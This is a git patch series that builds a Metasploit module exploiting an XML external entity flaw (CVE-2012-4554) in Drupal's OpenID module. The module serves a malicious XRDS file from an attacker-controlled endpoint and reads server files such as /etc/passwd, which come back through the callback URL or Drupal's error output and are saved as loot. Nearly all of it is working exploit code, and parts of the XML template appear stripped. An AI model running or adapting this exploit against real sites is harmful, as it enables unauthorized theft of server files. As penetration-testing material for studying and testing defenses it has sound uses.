From 72b72effa66c95905b47574605552fde21934388 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 18:04:31 -0600 Subject: [PATCH 1/9] Add module for CVE-2012-4554 --- modules/auxiliary/gather/drupal_openid_xxe.rb | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 modules/auxiliary/gather/drupal_openid_xxe.rb diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb new file mode 100644 index 0000000000..2e25078221 --- /dev/null +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Drupal OpenID External Entity Injection', + 'Description' => %q{ + This module abuses a XML External Entity Injection on the OpenID module + from Drupal. The vulnerability exists on the parsing of a malformed XRDS + file coming from a malicious OpenID endpoint. This module has been tested + successfully on Drupal 7.15 with the OpenID module enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Reginaldo Silva', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-4554' ], + [ 'OSVDB', '86429' ], + [ 'BID', '56103' ], + [ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ], + [ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ] + ], + 'DisclosureDate' => 'Oct 17 2012' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]) + ], self.class) + + end + + def xrds_file + xrds = <<-EOF + + + +]> + + + + xri://@ + http://example.com/user + + http://specs.openid.net/auth/2.0/signon + http://openid.net/srv/ax/1.0 + #{get_uri}/#{@prefix}/&xxe;/#{@suffix} + http://example.com/xrds + + + +EOF + return xrds + end + + # priority="10"> + + def primer + res = send_openid_auth + + if res.nil? + # nothing to do here... + service.stop + return + end + + unless res.code == 500 + print_warning("#{peer} - Unexpected answer, trying to parse anyway...") + end + + error_loot = parse_loot(res.body) + + # Check if file was retrieved on the drupal answer + # Better results, because there isn't URL encoding, + # plus probably allows to retrieve longer files. + unless error_loot.blank? + print_status("#{peer} - File found on the Drupal answer") + store(error_loot) + service.stop + return + end + + # Check if file was leaked to the fake OpenID endpoint + # Contents are probably URL encoded, plus probably long + # files aren't full, but something is something :-) + unless @loot.blank? + print_status("#{peer} - File contents leaked through the OpenID request") + store(@loot) + service.stop + return + end + + # Nothing :( just stop the service + # so the auxiliary module stops + service.stop + end + + def run + @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) + @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) + exploit + end + + def on_request_uri(cli, request) + if request.uri =~ /#{@prefix}/ + vprint_status("Signature found, parsing file...") + @loot = parse_loot(request.uri) + return + end + + print_status("Sending XRDS...") + send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' }) + end + + def send_openid_auth + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.to_s, "/"), + 'method' => 'POST', + 'vars_get' => { + "q" => "node", + "destination" => "node" + }, + 'vars_post' => { + "openid_identifier" => "#{get_uri}", + "name" => "", + "pass" => "", + "form_id" => "user_login_block", + "op" => "Log in" + } + }) + + return res + end + + def store(data) + path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH']) + print_good("#{peer} - File saved to path: #{path}") + end + + def parse_loot(data) + return nil if data.blank? + + # Full file found + if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m + return $1 + end + + # Partial file found + if data =~ /#{@prefix}\/(.*)/m + return $1 + end + + return nil + end + +end + From 6d0d7eda10ca8cf92de1642b02025aab6a8020f3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 18:09:05 -0600 Subject: [PATCH 2/9] Delete garbage comment --- modules/auxiliary/gather/drupal_openid_xxe.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 2e25078221..ec502d52af 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -70,8 +70,6 @@ EOF return xrds end - # priority="10"> - def primer res = send_openid_auth From b0deb45fad49791bf775dea90dc8a08349c53c2a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 18:10:57 -0600 Subject: [PATCH 3/9] Add Drupal advisory as reference --- modules/auxiliary/gather/drupal_openid_xxe.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index ec502d52af..c26f557adc 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2012-4554' ], [ 'OSVDB', '86429' ], [ 'BID', '56103' ], + [ 'URL', 'https://drupal.org/node/1815912' ], [ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ], [ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ] ], From 8e17d38c770adab36ab88ee58f016841199f88f8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 18:30:18 -0600 Subject: [PATCH 4/9] Add check method --- modules/auxiliary/gather/drupal_openid_xxe.rb | 32 +++++++++++++++++-- 1 file changed, 29 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index c26f557adc..805e3bafef 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -72,7 +72,7 @@ EOF end def primer - res = send_openid_auth + res = send_openid_auth(get_uri) if res.nil? # nothing to do here... @@ -111,6 +111,32 @@ EOF service.stop end + def check + signature = Rex::Text.rand_text_alpha(5 + rand(5)) + res = send_openid_auth(signature) + + unless res + return Exploit::CheckCode::Unknown + end + + if res.code == 200 and res.body =~ /openid_identifier.*#{signature}/ + return Exploit::CheckCode::Detected + end + + if generated_with_drupal?(res) + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Unknown + end + + def generated_with_drupal?(http_response) + return false if http_response.blank? + return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ + return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ + return false + end + def run @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) @@ -128,7 +154,7 @@ EOF send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' }) end - def send_openid_auth + def send_openid_auth(identifier) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "/"), 'method' => 'POST', @@ -137,7 +163,7 @@ EOF "destination" => "node" }, 'vars_post' => { - "openid_identifier" => "#{get_uri}", + "openid_identifier" => identifier, "name" => "", "pass" => "", "form_id" => "user_login_block", From f529eb1d4bcf4d2ef665b1be847ac0aa8ae33757 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 18:51:24 -0600 Subject: [PATCH 5/9] Clean code --- modules/auxiliary/gather/drupal_openid_xxe.rb | 104 +++++++++--------- 1 file changed, 55 insertions(+), 49 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 805e3bafef..31179e32ef 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -71,6 +71,31 @@ EOF return xrds end + def check + signature = Rex::Text.rand_text_alpha(5 + rand(5)) + res = send_openid_auth(signature) + + unless res + return Exploit::CheckCode::Unknown + end + + if drupal_with_openid?(res, signature) + return Exploit::CheckCode::Detected + end + + if generated_with_drupal?(res) + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Unknown + end + + def run + @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) + @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) + exploit + end + def primer res = send_openid_auth(get_uri) @@ -89,64 +114,24 @@ EOF # Check if file was retrieved on the drupal answer # Better results, because there isn't URL encoding, # plus probably allows to retrieve longer files. - unless error_loot.blank? - print_status("#{peer} - File found on the Drupal answer") - store(error_loot) - service.stop - return + print_status("#{peer} - Searching loot on the Drupal answer...") + unless loot?(error_loot) + # Check if file was leaked to the fake OpenID endpoint + # Contents are probably URL encoded, plus probably long + # files aren't full, but something is something :-) + print_status("#{peer} - Searching loot on HTTP query...") + loot?(@http_loot) end - # Check if file was leaked to the fake OpenID endpoint - # Contents are probably URL encoded, plus probably long - # files aren't full, but something is something :-) - unless @loot.blank? - print_status("#{peer} - File contents leaked through the OpenID request") - store(@loot) - service.stop - return - end - - # Nothing :( just stop the service - # so the auxiliary module stops + # stop the service so the auxiliary module ends service.stop end - def check - signature = Rex::Text.rand_text_alpha(5 + rand(5)) - res = send_openid_auth(signature) - - unless res - return Exploit::CheckCode::Unknown - end - - if res.code == 200 and res.body =~ /openid_identifier.*#{signature}/ - return Exploit::CheckCode::Detected - end - - if generated_with_drupal?(res) - return Exploit::CheckCode::Safe - end - - return Exploit::CheckCode::Unknown - end - - def generated_with_drupal?(http_response) - return false if http_response.blank? - return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ - return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ - return false - end - - def run - @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) - @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) - exploit - end def on_request_uri(cli, request) if request.uri =~ /#{@prefix}/ vprint_status("Signature found, parsing file...") - @loot = parse_loot(request.uri) + @http_loot = parse_loot(request.uri) return end @@ -195,5 +180,26 @@ EOF return nil end + def loot?(data) + return false if data.blank? + store(data) + return true + end + + def drupal_with_openid?(http_response, signature) + return false if http_response.blank? + return false unless http_response.code == 200 + return false unless http_response.body =~ /openid_identifier.*#{signature}/ + return true + end + + def generated_with_drupal?(http_response) + return false if http_response.blank? + return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ + return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ + return false + end + + end From 5a59e3d4e481d2a8657772de359fecd74d9b0218 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 18:53:58 -0600 Subject: [PATCH 6/9] Fix typo --- modules/auxiliary/gather/drupal_openid_xxe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 31179e32ef..5befafbf02 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary This module abuses a XML External Entity Injection on the OpenID module from Drupal. The vulnerability exists on the parsing of a malformed XRDS file coming from a malicious OpenID endpoint. This module has been tested - successfully on Drupal 7.15 with the OpenID module enabled. + successfully in Drupal 7.15 with the OpenID module enabled. }, 'License' => MSF_LICENSE, 'Author' => From 43de7eb74f4d595b3b160316413fde27f7d7b25c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 19:32:42 -0600 Subject: [PATCH 7/9] Use REXML --- modules/auxiliary/gather/drupal_openid_xxe.rb | 66 +++++++++++++------ 1 file changed, 46 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 5befafbf02..5b0925d5b7 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML + include REXML def initialize(info = {}) super(update_info(info, @@ -19,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary This module abuses a XML External Entity Injection on the OpenID module from Drupal. The vulnerability exists on the parsing of a malformed XRDS file coming from a malicious OpenID endpoint. This module has been tested - successfully in Drupal 7.15 with the OpenID module enabled. + successfully in Drupal 7.15 and 7.2 with the OpenID module enabled. }, 'License' => MSF_LICENSE, 'Author' => @@ -48,27 +49,52 @@ class Metasploit3 < Msf::Auxiliary end def xrds_file - xrds = <<-EOF - - -]> - - - - xri://@ - http://example.com/user - - http://specs.openid.net/auth/2.0/signon - http://openid.net/srv/ax/1.0 - #{get_uri}/#{@prefix}/&xxe;/#{@suffix} - http://example.com/xrds - - - -EOF - return xrds + EOF + + xml = Document.new + + xml.add(DocType.new('foo', "[ #{element_entity} ]")) + + xml.add_element( + "xrds:XRDS", + { + 'xmlns:xrds' => "xri://$xrds", + 'xmlns' => "xri://$xrd*($v*2.0)", + 'xmlns:openid' => "http://openid.net/xmlns/1.0", + }) + + xrd = xml.root.add_element("XRD") + + xrd.add_element( + "Status", + { + "cid" => "verified" + } + ) + provider = xrd.add_element("ProviderID") + provider.text = "xri://@" + + canonical = xrd.add_element("CanonicalID") + canonical.text = "http://example.com/user" + + service = xrd.add_element("Service") + + type_one = service.add_element("Type") + type_one.text = "http://specs.openid.net/auth/2.0/signon" + + type_two = service.add_element("Type") + type_two.text = "http://openid.net/srv/ax/1.0" + + uri = service.add_element("URI") + uri.text = "METASPLOIT" + + local_id = service.add_element("LocalID") + local_id.text = "http://example.com/xrds" + + return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding end def check From cf17bf2e72a75647dd4028d29771bbec96762739 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 23 Jan 2014 19:34:50 -0600 Subject: [PATCH 8/9] Small fix --- modules/auxiliary/gather/drupal_openid_xxe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 5b0925d5b7..37d33db759 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Auxiliary def store(data) path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH']) - print_good("#{peer} - File saved to path: #{path}") + print_good("#{peer} - File found and saved to path: #{path}") end def parse_loot(data) From c8e230111183f823e09546e62bc103b449880443 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 24 Jan 2014 15:01:52 -0600 Subject: [PATCH 9/9] Be more informative about why CheckCode::Unknown This is just kind of personal preference here. In case users wonder why Unknown. --- modules/auxiliary/gather/drupal_openid_xxe.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 37d33db759..470364421c 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -102,6 +102,7 @@ class Metasploit3 < Msf::Auxiliary res = send_openid_auth(signature) unless res + vprint_status("Connection timed out") return Exploit::CheckCode::Unknown end